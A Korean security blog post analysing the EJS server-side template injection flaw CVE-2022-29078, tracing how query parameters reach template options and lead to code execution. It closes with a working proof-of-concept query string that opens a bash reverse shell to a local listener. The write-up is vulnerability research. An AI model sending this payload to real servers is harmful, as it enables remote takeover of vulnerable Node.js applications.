[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
🚪 Intro
2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다.
취약한 EJS 버전은 `3.1.6` 이하 버전입니다. 해당 취약점은 `3.1.7`에서 패치 되었습니다.
💡Analysis
환경 세팅을 위해 아래와 같은 명령어로 취약한 EJS 버전을 설치해 줍니다.
npm install ejs@3.1.6
이후 간단한 코드를 작성하여 서버를 시작해 줍니다.
// index.js
const express = require("express");
const app = express();
app.set("view engine", "ejs")
app.get("/", (req, res) => {
console.log(req.query);
res.render("index", req.query);
})
app.listen(8080, () => {
console.log("runnging");
})
<!-- views/index.ejs -->
<h1>
You are viewing page number
<%= id %>
</h1>
index.js 파일에서 9번째 줄을 보면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주고 있습니다. 결론부터 말씀 드리자면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주는 코드로 인해 취약점이 트리거가 됩니다.
index.js 파일에서 9번째 줄에, `req.query` 변수를 인자로 전달하고 있습니다. express 모듈에서 로직을 처리한 뒤, `ejs.js:454` 줄에서 `args.shift()` 를 통해 data 변수에 저장됩니다.
동작을 확인하기 위해 454번째 줄에서 bp를 건 뒤, 브라우저도 `?id=aaaaa` 라는 값을 GET 방식으로 전달 합니다.
이때 `data` 변수에는 다음과 같은 값들이 저장됩니다. 잘 보면, `id: aaaaa` 라는 key, value 가 들어간 것을 볼 수 있죠.
이후 `ejs.js:473` 줄에서 아까 설명한 `data` 변수에서 `data.settings['view options']` 라는 값이 있으면 `475번째 줄` 에 있는 `utils.shallowCopy` 라는 함수가 동작하게 됩니다. 현재 상황에서는 위 사진을 보면 알 수 있듯이 `data` 변수에 `view options` 라는 key가 없습니다. 따라서 `475번째 줄` 코드가 실행되지 않습니다.
우선, `utils.shallowCopy()` 함수를 보면 다음과 같습니다. 두번째 인자의 값을 첫번째 인자에 복사한 뒤 리턴합니다. 이때 중요한 점은 첫번째 인자가 `opts` 라는 점 입니다. 이 내용을 잘 기억해 주세요.
만약 특정 변수를 overwrite 할 수 있다면, 어떤 것이 가장 좋을까요?
EJS는 Template를 rendering 할 때 javascript code를 실행해 주는 로직이 있습니다.
`prepended` 변수에는 javascript code가 있고, `opts.outputFunctionName` 값이 있다면 `opts.outputFunctionName` 값을 `prepended` 변수에 추가합니다. 공격자가 `opts.outputFunctionName` 값을 조작할 수 있다면 RCE가 가능하겠네요!
앞서 설명했던 `utils.shallowCopy()` 함수에서 첫번째 인자는 `opts` 변수 입니다. 즉, 공격자는 `opts` 변수에 원하는 값을 넣어 조작할 수 있습니다.
💡Exploit
`utils.shallowCopy()` 함수를 실행시키기 위해서는 `data.settings['view options']` 라는 값이 있어야 합니다.
따라서 공격자는 `?id=2&settings[view options][a]=b` 인자를 GET 방식으로 전송합니다.
디버깅을 통해 확인하면 `ejs.js:475` 번째 줄의 `utils.shallowCopy()` 함수가 실행됩니다. 이 함수가 실행되면 최종적으로 `opts` 변수에 `a: b` 라는 key, value 가 추가된 것을 볼 수 있습니다.
즉, 공격자는 `opts` 변수에 원하는 key와 value를 추가할 수 있게 되었습니다.
RCE를 하기 위해 앞서 설명했던 `opts.outputFunctionName` 값을 overwrite 해야 합니다.
따라서 최종적인 poc 코드는 다음과 같습니다.
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s
🚪 Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
'🔒Security' 카테고리의 다른 글
nodejs unicode (0) | 2022.10.06 |
---|---|
[분석일기] - php switch case (0) | 2022.09.06 |
Node.js querystring 함수 분석과 bug 설명 (0) | 2022.07.09 |
분석 일기 - file upload 취약점 (0) | 2022.05.12 |
분석 일기 - php dynamic variable (0) | 2022.04.03 |
댓글
이 글 공유하기
다른 글
-
nodejs unicode
nodejs unicode
2022.10.06 -
[분석일기] - php switch case
[분석일기] - php switch case
2022.09.06 -
Node.js querystring 함수 분석과 bug 설명
Node.js querystring 함수 분석과 bug 설명
2022.07.09 -
분석 일기 - file upload 취약점
분석 일기 - file upload 취약점
2022.05.12